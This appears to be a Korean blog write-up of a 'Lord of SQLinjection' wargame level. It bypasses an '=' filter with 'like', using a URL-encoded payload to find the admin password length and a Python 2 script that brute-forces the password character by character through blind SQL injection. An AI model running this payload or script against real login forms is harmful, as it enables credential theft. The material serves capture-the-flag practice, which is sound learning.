인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.
먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.
1 | ?pw = 1 % 27 ||ascii( id ) - 103 % 26 % 26length (pw) % 20like % 20 % 278 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import urllib, urllib2 flag = "" for i in range ( 1 , 9 ): for j in range ( 33 , 128 ): url + = "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}" . format (i, j) print url req = urllib2.Request(url) req.add_header( 'User-Agent' , 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' ) req.add_header( 'Cookie' , '__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611' ) res = urllib2.urlopen(req).read() if "Hello admin" in res: print "[+] Find! : " + chr (j) flag + = chr (j) break print "[+] Find Flag! : " + flag |
'Wargame > lord of sqlinjection' 카테고리의 다른 글
Lord of SQLinjection bugbear (0) | 2017.08.02 |
---|---|
Lord of SQLinjection darkknight (0) | 2017.07.30 |
Lord of SQLinjection skeleton (0) | 2017.07.30 |
Lord of SQLinjection vampire (0) | 2017.07.25 |
Lord of SQLinjection Troll (0) | 2017.07.25 |